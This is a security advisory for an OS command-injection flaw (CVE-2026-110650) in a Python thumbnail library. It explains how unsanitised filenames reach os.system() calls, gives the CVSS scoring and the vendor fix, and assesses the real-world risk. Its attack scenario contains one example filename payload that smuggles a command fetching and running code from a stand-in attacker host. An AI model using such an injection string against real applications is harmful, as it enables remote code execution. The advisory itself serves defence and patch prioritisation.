thumbnail Python package CVE-2026-110650

Exploitation requires that the consuming application pass an attacker-controlled file path/name into generate_thumbnail() - the canonical case being a user file-upload feature where the uploaded filename reaches the function. The injected metacharacters must survive into the input, output, width, height, quality or trim values that the pre-patch code concatenates into the ffmpeg/convert/unoconv command strings. Limiting factors: the package is a library with no network listener of its own, so reachability depends entirely on the host application exposing untrusted filenames; the affected version must be 1.5 or earlier (pre-PR #9); and the host must have ffmpeg/convert/unoconv available for the relevant code branch. Where those conditions hold, no authentication or user interaction beyond submitting the malicious filename is needed.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, score 9.3, CWE-78) describes classic unauthenticated remote OS command injection with full confidentiality, integrity and availability impact on the vulnerable system and no scope change to subsequent systems. The source-code evidence strongly corroborates this: the pre-patch code concatenated user-controlled values (input/output filenames, width, height, quality, trim) directly into shell strings passed to os.system() running ffmpeg, convert and unoconv, and the vendor PR #9 fixes it by switching to subprocess.run() with argument lists and no shell. However, the real-world risk is tempered by a critical nuance the raw CVSS does not capture: this is a library, not a standalone service, so 'network, unauthenticated' holds ONLY when the consuming application exposes attacker-controlled filenames (e.g. an upload feature) to generate_thumbnail(). No EPSS score, KEV listing, or public POC is present in the provided data. Weighing the signals: the technical impact is genuinely high and the flaw is trivially exploitable where reachable, but the absence of KEV/EPSS/POC and the very small deployment footprint of this obscure PyPI package suggest this is a high-CVSS, high-technical-impact issue with low real-world widespread-exploitation likelihood - prioritize it only if you actually depend on this package with untrusted filename input.

An application uses the thumbnail package to generate previews for user-uploaded files and passes the uploaded file's name to generate_thumbnail(). An attacker uploads (or names) a file containing shell metacharacters such as ; curl attacker/x | sh ;.mp4 or $(...), which is concatenated into the os.system() command line and executed by the shell with the Python process's privileges. No public exploit identified at time of analysis, but the vulnerable code path is confirmed in the vendor source and the attack is low-complexity.